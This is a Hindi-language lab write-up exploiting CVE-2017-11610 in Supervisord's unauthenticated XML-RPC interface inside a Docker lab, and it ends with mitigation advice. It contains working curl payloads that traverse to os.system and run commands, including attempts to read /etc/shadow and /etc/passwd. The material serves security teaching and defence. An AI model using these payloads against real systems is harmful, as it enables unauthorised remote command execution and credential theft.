
सीवीई-2017-11610 (Supervisord XML-RPC RCE) के लिए चरण-दर-चरण एक्सप्लॉइट राइटअप, जिसमें आक्रमण सतह विश्लेषण, नेमस्पेस ट्रैवर्सल खोज और Docker लैब वातावरण में पोस्ट-एक्सप्लॉइटेशन तकनीकें शामिल हैं।
वातावरण में क्या चल रहा है, इससे शुरुआत करते हुए। मैं सभी सक्रिय कंटेनरों की सूची बनाता हूँ:``` docker ps-a

**पीड़ित केवल एक पोर्ट उजागर करता है: `9001`**।
पोर्ट 9001 एक मानक वेब ऐप नहीं है। **पोर्ट डेटाबेस** में खोजने पर पता चलता है कि यह पोर्ट **Supervisord** (IANA के अनुसार ETL Service Manager), Tor प्रॉक्सी, या किसी अन्य आंतरिक सेवा से जुड़ा हो सकता है। हालाँकि, हम केवल पोर्ट नंबर के आधार पर कोई निष्कर्ष नहीं निकाल सकते।
⇒ मैं प्रतिक्रिया पढ़ने के लिए सीधे curl करता हूँ और अधिक जानकारी जुटाने के लिए वेब GUI तक भी पहुँचता हूँ```
curl -i http://192.168.3.137:9001/


प्रतिक्रिया विश्लेषण:
Server: Medusa/1.12 और शीर्षक Supervisor Status प्रदर्शित करती है→ इसकी पुष्टि होती है कि यह Supervisord है, न कि Tor या कोई अन्य सेवा।
REFRESH, RESTART ALL, STOP ALLSupervisord Linux पर एक प्रोसेस मैनेजर है। यदि port 9001 बिना पासवर्ड के नेटवर्क पर उजागर है, तो यह एक खतरनाक कॉन्फ़िगरेशन है। एक हमलावर सेवाओं को देख सकता है, प्रोसेस को पुनः प्रारंभ/रोक सकता है, और कुछ कॉन्फ़िगरेशन में, यदि उनके पास प्रबंधित प्रोग्रामों को संशोधित या नियंत्रित करने के विशेषाधिकार हैं, तो कमांड निष्पादित करने के लिए इसका शोषण कर सकता है।
विश्लेषण निष्कर्ष: हम पुष्टि कर सकते हैं कि लक्ष्य Supervisord प्रशासन इंटरफ़ेस को पोर्ट 9001 पर नेटवर्क के लिए उजागर कर रहा है। यह एक मानक वेब सेवा नहीं है, बल्कि एक प्रबंधन इंटरफ़ेस है जिसका उपयोग प्रोसेस की निगरानी और नियंत्रण के लिए किया जाता है। इस इंटरफ़ेस को बिना प्रमाणीकरण के एक्सेस करने की क्षमता एक जोखिम पैदा करती है कि एक हमलावर प्रबंधित सेवाओं की स्थिति देख सकता है या उनसे इंटरैक्ट कर सकता है।
हालाँकि, हमें दृश्यमान UI और अंतर्निहित नियंत्रण तंत्र के बीच अंतर करना होगा। REFRESH, RESTART ALL, और STOP ALL जैसे बटन फ्रंटएंड पर अनुरोधों को स्वतंत्र रूप से संसाधित नहीं करते; इसके बजाय, उन्हें स्थिति प्राप्त करने या प्रोसेस नियंत्रण कमांड भेजने के लिए Supervisord के इंटरफ़ेस/बैकएंड को कॉल करना होता है। इसलिए, वेब UI के उजागर होने की पुष्टि करने के बाद, अगला विश्लेषण चरण यह निर्धारित करना है कि वेब UI के पीछे अंतर्निहित नियंत्रण इंटरफ़ेस मौजूद है या नहीं और क्या उसे प्रमाणीकरण की आवश्यकता है।
⇒ सोच: यह जाँचने की आवश्यकता है कि वेब UI के पीछे का नियंत्रण इंटरफ़ेस मौजूद है या नहीं और क्या उसे प्रमाणीकरण की आवश्यकता है।

Supervisor के दस्तावेज़ीकरण के अनुसार, [inet_http_server] एक HTTP सर्वर है जो TCP सॉकेट पर सुनता है। यह इंटरफ़ेस डिफ़ॉल्ट रूप से सक्षम नहीं है, केवल विश्वसनीय वातावरण में उपयोग किया जाना चाहिए, एन्क्रिप्शन का समर्थन नहीं करता, और जब तक username/password कॉन्फ़िगर न हो, कोई डिफ़ॉल्ट प्रमाणीकरण नहीं होता।
दस्तावेज़ीकरण यह भी इंगित करता है कि [inet_http_server] का पोर्ट HTTP/XML-RPC अनुरोधों को प्राप्त करने के लिए उपयोग किया जाता है; supervisorctl इस पोर्ट के माध्यम से supervisord के साथ संवाद करने के लिए XML-RPC का उपयोग करता है। यह प्रयोगशाला में हमारे अवलोकन से मेल खाता है: कंटेनर 0.0.0.0:9001->9001/tcp को उजागर करता है, वेब UI बिना प्रमाणीकरण के सुलभ है, और प्रदर्शित संस्करण Supervisor 3.3.2 है।
इस प्रकार, पोर्ट 9001 पर वेब UI की पुष्टि करने के बाद, अगला कदम XML-RPC एंडपॉइंट /RPC2 का निरीक्षण करना है। Supervisord के आधिकारिक तंत्र के आधार पर, हमें इन उद्देश्यों को सत्यापित करने की आवश्यकता है:
/RPC2 मौजूद है।supervisor.getState या system.listMethods जैसे गैर-विनाशकारी तरीकों को कॉल कर सकते हैं।जाँचें कि क्या एंडपॉइंट सक्रिय है:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

परिणाम `HTTP/1.1 200 OK` लौटाता है, न कि `401 Unauthorized` या `403 Forbidden`, जो दर्शाता है कि अनुरोध को सर्वर द्वारा बिना किसी क्रेडेंशियल के स्वीकार कर लिया गया। प्रतिक्रिया XML-RPC `<methodResponse>` प्रारूप में है और इसमें `statename=RUNNING` तथा `statecode=1` शामिल है, जो सिद्ध करता है कि `/RPC2` एंडपॉइंट सक्रिय है और `supervisor.getState` मेथड सफलतापूर्वक निष्पादित हुई।
**⇒ सोच:** अटैक सतह अब केवल Web UI तक सीमित नहीं है, बल्कि XML-RPC API तक विस्तारित हो गई है, जहाँ डेमॉन/प्रोसेस नियंत्रण कमांड संभाले जाते हैं। यहाँ से, अगली विश्लेषण दिशा यह है कि **Supervisor** XML-RPC में `methodName` को **कैसे हैंडल करता है**, ताकि यह निर्धारित किया जा सके कि वर्तमान लक्ष्य **CVE-2017-11610 का व्यवहार प्रदर्शित करता है या नहीं**, जो इस मेथड के dispatch/lookup तंत्र में स्थित है। यह सुनिश्चित करने के लिए हमें इसकी पुष्टि करनी होगी कि यह **CVE-2017-11610** है या नहीं।
### **XML-RPC में मेथड नाम प्रोसेसिंग का विश्लेषण**
पिछले चरण में, हमने `/RPC2` एंडपॉइंट के माध्यम से `supervisor.getState` मेथड को सफलतापूर्वक कॉल किया। इससे अगला प्रश्न उठता है: जब कोई स्ट्रिंग-आधारित `methodName` प्राप्त होता है, तो Supervisord उस स्ट्रिंग को आंतरिक Python फ़ंक्शन से कैसे मैप करता है?
XML-RPC में, मेथड्स आमतौर पर नेमस्पेस का उपयोग करती हैं, उदाहरण के लिए:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
तार्किक रूप से, सर्वर `methodName` स्ट्रिंग प्राप्त करता है, उसे डॉट `.` द्वारा विभाजित करता है, और पंजीकृत हैंडलर के अंदर संबंधित ऑब्जेक्ट/फ़ंक्शन खोजता है।
स्यूडो-कोड को इस प्रकार समझा जा सकता है:
```python
# Pseudo-code: how the server might handle the incoming methodName
method = get_string_from_request()
if "." in method:
namespace, func_name = method.split(".", 1)
handler = registry[namespace]
result = handler.call(func_name, *params)
else:
handler = registry[method]
result = handler.call(*params)
``````python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
मानक तरीकों जैसे supervisor.getState के लिए, यह तंत्र सामान्य रूप से कार्य करता है: सर्वर supervisor हैंडलर को प्राप्त करता है, फिर getState फ़ंक्शन को कॉल करता है। हालाँकि, CVE-2017-11610 की मुख्य समस्या यह है कि यह लुकअप तंत्र एक्सेस किए जा सकने वाले एट्रिब्यूट्स को पर्याप्त रूप से प्रतिबंधित नहीं करता। यदि कोई हमलावर methodName को नियंत्रित करता है, तो वे न केवल getState जैसी सार्वजनिक विधियों को कॉल कर सकते हैं, बल्कि supervisor हैंडलर से पहुंच योग्य आंतरिक ऑब्जेक्ट्स/मॉड्यूल्स में गहराई तक प्रवेश भी कर सकते हैं।
दूसरे शब्दों में, methodName में डॉट . केवल वैध विधियों को आमंत्रित करने के लिए उपयोग नहीं होता, बल्कि इसका दुरुपयोग ऑब्जेक्ट एट्रिब्यूट्स को ट्रैवर्स करने के लिए भी किया जा सकता है।
यह हमारा शोषण पथ स्थापित करता है:
supervisor → supervisord → options → warnings → linecache → os → system
अवधारणा यह है कि supervisor हैंडलर से शुरू करके, एट्रिब्यूट्स का अनुसरण करते हुए डेमॉन के आंतरिक ऑब्जेक्ट्स तक पहुँचें, और फिर पहले से लोड किए गए Python मॉड्यूल्स का लाभ उठाकर os.system तक पहुँचें। यदि os.system को कॉल किया जा सकता है, तो हमलावर supervisord प्रक्रिया के विशेषाधिकारों के साथ सिस्टम कमांड निष्पादित कर सकता है।
इस प्रकार, हमला श्रृंखला इस तर्क का अनुसरण करती है:
/RPC2 बिना प्रमाणीकरण के विधि कॉल स्वीकार करता है → जाँचें कि XML-RPC methodName को कैसे डिस्पैच करता है → पता चलता है कि methodName ऑब्जेक्ट एट्रिब्यूट्स को ट्रैवर्स कर सकता है → os.system को कॉल करने की ओर ले जाता है।
सबसे पहले, मुझे जाँच करनी है कि क्या सर्वर वास्तव में आंतरिक एट्रिब्यूट्स को ट्रैवर्स करने की अनुमति देता है। मैं एक सामान्य से लंबा method name कॉल करने का प्रयास करूँगा। यदि सर्वर "method not found" त्रुटि लौटाता है, तो एक फ़िल्टर सक्रिय है; यदि यह कोई भिन्न त्रुटि लौटाता है (या सफल होता है), तो ट्रैवर्सल कार्य कर रहा है।
विचार: मैं पहले से जानता हूँ कि supervisor.getState कार्य करता है। यदि मैं supervisor.supervisord प्रयास करूँ — जो एक परत गहरा जाता है — और सर्वर unknown method त्रुटि नहीं लौटाता, तो इसका अर्थ है कि यह वास्तव में बिना किसी व्हाइटलिस्ट के रिकर्सिव getattr का उपयोग कर रहा है।
हम जानते हैं कि XML-RPC HTTP पर एक रिमोट प्रोसीजर कॉल प्रोटोकॉल है, जिसमें डेटा XML में एन्कोडेड होता है। प्रत्येक अनुरोध में केवल 3 निश्चित घटक होते हैं:```
FUNCTION_NAME VALUE ``` सरल संरचना — बस `` और `` बदलें। यदि फ़ंक्शन को किसी पैरामीटर की आवश्यकता नहीं है, तो `` खाली छोड़ दें। यदि फ़ंक्शन को स्ट्रिंग की आवश्यकता है, तो इसे `...` के अंदर लपेटें। यह कोई गुप्त ज्ञान नहीं है — XML-RPC RFC पढ़ने से यह विस्तार से पता चलता है।⇒ अनुप्रयोग: नेमस्पेस ट्रैवर्सल की जाँच करने के लिए सामान्य से अधिक लंबा methodName कॉल करने का प्रयास करें:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

परिणाम मानक `unknown method` त्रुटि के बजाय `HTTP 500 Internal Server Error` लौटाता है। यह इंगित करता है कि सर्वर `methodName` को किसी मान्य नेमस्पेस स्तर पर ब्लॉक नहीं करता, बल्कि डिस्पैचिंग के दौरान `supervisor.supervisord.options` श्रृंखला को संसाधित करना जारी रखता है। दूसरे शब्दों में, अनुरोध एट्रिब्यूट लुकअप तंत्र में गहराई तक पहुँच गया; त्रुटि बाद के चरण में तब हुई जब हल किया गया ऑब्जेक्ट विधि के रूप में कॉल करने योग्य नहीं था। यह एक स्पष्ट संकेत है कि `methodName` के माध्यम से नेमस्पेस ट्रैवर्सल सक्रिय है।
### **कमांड निष्पादन फ़ंक्शन का मार्ग खोजना**
ट्रैवर्सल काम कर रहा है। अगला कदम **एक एट्रिब्यूट श्रृंखला खोजना है जो सिस्टम कमांड चलाने में सक्षम कॉल करने योग्य फ़ंक्शन पर समाप्त होती है।** Python में, सत्यापित करने का सबसे आसान लक्ष्य `os.system()` है। हालाँकि, हमारे पास **लक्ष्य पर शेल नहीं है** और **कंटेनर में स्रोत/रनटाइम ऑब्जेक्ट सीधे नहीं पढ़ सकते।** इसलिए, हमें **Python के import तंत्रों से अनुमान लगाना** होगा और **पहले निर्भरताओं को स्थानीय रूप से सत्यापित करना** होगा।
जाँच करने के लिए श्रृंखला है:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord Python में लिखा गया है, इसलिए `options` जैसी आंतरिक ऑब्जेक्ट एट्रिब्यूट वाली Python ऑब्जेक्ट हैं।
- यदि कोई मॉड्यूल `import X` के माध्यम से किसी अन्य मॉड्यूल को import करता है, तो `X` उस मॉड्यूल के नेमस्पेस में मौजूद होगा।
- Python stdlib में, `warnings` मॉड्यूल चेतावनियाँ प्रदर्शित करते समय संदर्भ प्राप्त करने के लिए `linecache` को import करता है।
- `linecache` मॉड्यूल path/file संचालन के लिए `os` को import करता है।
- `os` मॉड्यूल `system()` फ़ंक्शन प्रदान करता है, जो एक कॉल करने योग्य है जो शेल कमांड निष्पादित कर सकता है।
लक्ष्य पर प्रयास करने से पहले इस निर्भरता को स्थानीय रूप से सत्यापित करें:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ सोच: निर्भरता श्रृंखला warnings → linecache → os CPython stdlib में एक वास्तविक निर्भरता है; और system वास्तव में os मॉड्यूल में एक कॉल करने योग्य फ़ंक्शन है। XML-RPC में नेमस्पेस ट्रैवर्सल दोष के साथ मिलकर, यदि हम supervisor हैंडलर से supervisord.options.warnings तक पहुँच सकते हैं, तो हम आगे बढ़कर linecache.os.system तक ट्रैवर्स कर सकते हैं ताकि सिस्टम कमांड्स को लागू किया जा सके।
os.system तक ट्रैवर्सल श्रृंखला की पहचान करने के बाद, अगला कदम इस फ़ंक्शन को कॉल करने के लिए XML-RPC अनुरोध बनाना है। Python में, os.system() एक स्ट्रिंग पैरामीटर लेता है जो निष्पादित होने वाले शेल कमांड को दर्शाता है, और कमांड का निकास कोड लौटाता है। यह फ़ंक्शन stdout को सीधे XML-RPC प्रतिक्रिया में वापस नहीं करता है, इसलिए यह साबित करने के लिए कि कमांड चल चुका है, हमें आउटपुट को एक फ़ाइल में पुनर्निर्देशित करना होगा।
⇒ सोच: प्रतिक्रिया में सीधा आउटपुट नहीं होता, इसलिए परिणामों को /tmp में लिखें। /tmp निर्देशिका आमतौर पर Linux पर सभी उपयोगकर्ताओं के लिए लिखने योग्य होती है। एक सुरक्षित सत्यापन पेलोड है:
id > /tmp/rce_proof.txt
ऊपर विश्लेषित XML-RPC टेम्पलेट को लागू करते हुए, <methodName> को os.system तक की ट्रैवर्सल श्रृंखला से बदलें और शेल कमांड को <string> के अंदर पास करें:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

`<int>0</int>` का मान `os.system()` का exit code है, न कि कमांड का stdout। `0` का exit code दर्शाता है कि शेल कमांड सफलतापूर्वक निष्पादित हुआ। हम कंटेनर के अंदर फ़ाइल पढ़कर इसकी पुष्टि करते हैं:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE की पुष्टि। id कमांड कंटेनर के अंदर, nobody उपयोगकर्ता (uid=65534) के विशेषाधिकारों के तहत निष्पादित किया गया।
मुख्य बिंदु: RCE प्राप्त हो जाता है, लेकिन निष्पादन विशेषाधिकार supervisord प्रक्रिया चलाने वाले उपयोगकर्ता पर निर्भर करते हैं। इस लैब में, कमांड nobody उपयोगकर्ता के अंतर्गत चलती है, जिसका अर्थ है कि प्रभाव तब की तुलना में अधिक सीमित है जब supervisord root के रूप में चल रहा हो।
RCE की पुष्टि के बाद, हम देखते हैं कि nobody Linux पर एक निम्न-विशेषाधिकार वाला उपयोगकर्ता है। हालाँकि, हमें केवल id आउटपुट पर भरोसा करने के बजाय इसे व्यवहार में सत्यापित करना चाहिए। सत्यापन का तरीका /etc/shadow को पढ़ने का प्रयास करना है, क्योंकि यह फ़ाइल आमतौर पर केवल root और shadow समूह द्वारा पढ़ने योग्य होती है। यदि पढ़ने योग्य है, तो प्रक्रिया में उच्च विशेषाधिकार हैं; यदि अवरुद्ध है, तो विशेषाधिकार वास्तव में प्रतिबंधित हैं।
/etc/shadow को पढ़ने के लिए पेलोड भेजें और stdout/stderr दोनों को एक फ़ाइल में रीडायरेक्ट करें:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

प्रतिक्रिया `<int>256</int>` लौटाती है, जो `os.system()` का रिटर्न मान है। Unix पर, निकास स्थितियाँ एन्कोडेड होती हैं; `256` शेल कमांड के निकास कोड `1` के अनुरूप है। यह दर्शाता है कि कमांड निष्पादित तो हुई लेकिन विफल रही।
हम कंटेनर के अंदर आउटपुट फ़ाइल पढ़कर और `/etc/shadow` की अनुमतियाँ जाँचकर विफलता का कारण पुष्टि करते हैं:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

परिणाम दिखाते हैं कि आउटपुट फ़ाइल ने यह त्रुटि दर्ज की:
cat: /etc/shadow: Permission denied
/etc/shadow के लिए अनुमतियाँ हैं:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowफ़ाइल /etc/shadow root के स्वामित्व में है, समूह shadow है, और केवल स्वामी/समूह द्वारा पठनीय है। इस बीच, हमारे पिछले RCE ने पुष्टि की कि कमांड nobody उपयोगकर्ता के अंतर्गत चलती है; यह उपयोगकर्ता shadow समूह का सदस्य नहीं है, और इस प्रकार यह फ़ाइल नहीं पढ़ सकता है।
⇒ निष्कर्ष: RCE प्राप्त हो चुका है, लेकिन विशेषाधिकार वास्तव में nobody उपयोगकर्ता तक सीमित हैं। यह root के रूप में चल रही सेवा से एक महत्वपूर्ण अंतर है: हमलावर कमांड निष्पादित कर सकता है, लेकिन स्वचालित रूप से सिस्टम पर पूर्ण नियंत्रण प्राप्त नहीं करता है।
हालाँकि हम /etc/shadow नहीं पढ़ सकते, RCE फिर भी हमें nobody विशेषाधिकारों के साथ कमांड निष्पादित करने की अनुमति देता है। इस प्रकार, हम उस जानकारी को एकत्र करना जारी रख सकते हैं जिसे यह उपयोगकर्ता पढ़ने के लिए अधिकृत है, जैसे चल रही प्रक्रियाओं की सूची और सिस्टम पर उपयोगकर्ता जानकारी।
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

कंटेनर में PID 1 रूट उपयोगकर्ता के अंतर्गत चलता है, लेकिन supervisord प्रक्रिया nobody उपयोगकर्ता के अंतर्गत चलती है। यह बताता है कि RCE सफल क्यों हुआ, लेकिन उसके पास केवल रूट के लिए प्रतिबंधित फ़ाइलों को पढ़ने का अधिकार नहीं था।
परिणाम: ps aux दिखाता है कि कंटेनर में PID 1 /bin/bash /usr/local/bin/docker-entrypoint.sh है जो root उपयोगकर्ता के अंतर्गत चल रहा है, जबकि supervisord प्रक्रिया nobody उपयोगकर्ता के अंतर्गत चलती है।
यह बताता है कि RCE सफल क्यों हुआ, लेकिन उसके पास केवल रूट के लिए प्रतिबंधित फ़ाइलों को पढ़ने की अनुमति नहीं थी: कमांड supervisord प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होती है, न कि PID 1 के।
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

परिणाम: /etc/passwd दर्शाता है कि सिस्टम में मुख्य रूप से root, daemon, nobody, और _apt जैसे डिफ़ॉल्ट उपयोगकर्ता मौजूद हैं; कोई अतिरिक्त सेवा उपयोगकर्ता नहीं पाए गए। यह इंगित करता है कि कंटेनर वातावरण न्यूनतम है, जिसमें इस चरण में शोषण या पिवट करने के लिए अन्य एप्लिकेशन खातों का अभाव है।
इस लैब में, रिवर्स शेल स्थापित नहीं किया जा सका। हालाँकि, हमें केवल यह निष्कर्ष नहीं निकालना चाहिए कि Docker ब्रिज नेटवर्क हमेशा रिवर्स शेल को ब्लॉक करता है, क्योंकि Docker कंटेनर आमतौर पर NAT के माध्यम से आउटबाउंड क्षमताओं को बनाए रखते हैं। इसका कारण रूटिंग, फ़ायरवॉल, लिसनर, इंटरफ़ेस, या लैब वातावरण के नेटवर्क कॉन्फ़िगरेशन से हो सकता है।
मुख्य बिंदु यह है: असफल रिवर्स शेल मुख्य निष्कर्ष को नहीं बदलता है। RCE की पुष्टि id पेलोड, रिस्पॉन्स एग्ज़िट कोड 0, और /tmp में आउटपुट फ़ाइल के साथ हो चुकी है। हमलावर कंटेनर के अंदर nobody उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने कमांड निष्पादित कर सकता है।
अत्यावश्यक प्राथमिकता
Supervisord को पैच किए गए संस्करण में अपग्रेड करें
Supervisor को संस्करण >= 3.3.3 में अपग्रेड करें। पैच किया गया संस्करण XML-RPC में पुनरावर्ती नेमस्पेस लुकअप तंत्र को पूरी तरह से समाप्त कर देता है, जो CVE-2017-11610 का मूल कारण था।
जब तक आवश्यक न हो, [inet_http_server] को नेटवर्क पर एक्सपोज़ न करें
यदि Web UI या रिमोट प्रबंधन आवश्यक नहीं है, तो [inet_http_server] को पूरी तरह से अक्षम कर दें। यह एक प्रबंधन इंटरफ़ेस है और इसे नेटवर्क पर व्यापक रूप से सुलभ नहीं होना चाहिए।
बाइंडिंग एड्रेस को प्रतिबंधित करें
यदि आपको अभी भी Web UI सक्षम रखने की आवश्यकता है, तो 0.0.0.0 के बजाय केवल localhost पर बाइंड करें:
[inet_http_server]
port=127.0.0.1:9001
उच्च प्राथमिकता
[inet_http_server] के लिए प्रमाणीकरण सक्षम करें
यदि आपको रिमोट प्रशासन के लिए इस इंटरफ़ेस को एक्सपोज़ करना ही है, तो एक मजबूत उपयोगकर्ता नाम/पासवर्ड कॉन्फ़िगर करें:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
यदि इसे नेटवर्क से बाइंड करना ही है, तो केवल पासवर्ड पर निर्भर न रहें; इसे VPN/रिवर्स प्रॉक्सी के पीछे रखें या IP द्वारा एक्सेस प्रतिबंधित करें।
फ़ायरवॉल का उपयोग करके एक्सेस प्रतिबंधित करें
केवल प्रशासनिक IP को पोर्ट 9001 तक पहुँचने की अनुमति दें, उदाहरण के लिए फ़ायरवॉल/सुरक्षा समूह के माध्यम से। इस पोर्ट को सार्वजनिक इंटरनेट या पूरे आंतरिक नेटवर्क पर एक्सपोज़ न करें।
supervisord को निम्न-विशेषाधिकार वाले उपयोगकर्ता के साथ चलाएँ
यह लैब nobody उपयोगकर्ता के अंतर्गत चलती है, जिससे प्रभाव सीमित रहता है। वास्तविक दुनिया के वातावरण में, जब तक बिल्कुल आवश्यक न हो, supervisord को root के रूप में चलाने से बचें।
| मानदंड | मूल्यांकन | विवरण |
|---|
| CVSS स्कोर | 9.8 (क्रिटिकल) | CVE/NVD के अनुसार, यह कमज़ोरी Supervisor <= 3.3.2 पर एक बिना प्रमाणीकरण वाला RCE है |
| प्रमाणीकरण | आवश्यक नहीं | एंडपॉइंट /RPC2 बिना उपयोगकर्ता नाम/पासवर्ड की आवश्यकता के XML-RPC अनुरोधों को प्रोसेस करता है |
| जटिलता | कम | Metasploit की आवश्यकता के बिना, मैन्युअल XML-RPC अनुरोधों के माध्यम से शोषण योग्य |
| प्राप्त विशेषाधिकार | nobody | RCE supervisord प्रक्रिया के विशेषाधिकारों के साथ चलता है; इस लैब में, nobody उपयोगकर्ता तक सीमित है |
| प्रभाव | उच्च | कमांड निष्पादित करने, /tmp जैसी लिखने योग्य निर्देशिकाओं में फ़ाइलें लिखने, और सिस्टम जानकारी एकत्र करने में सक्षम |
| सीमाएँ | रूट-केवल फ़ाइलें नहीं पढ़ सकता | /etc/shadow ने Permission Denied लौटाया, जिससे सिद्ध होता है कि विशेषाधिकार रूट के नहीं हैं |
| आंतरिक नेटवर्क पिवटिंग | संभव | nobody उपयोगकर्ता अभी भी अन्य सेवाओं/कंटेनरों से कनेक्ट करने का प्रयास कर सकता है यदि नेटवर्क नीतियाँ अनुमति देती हैं |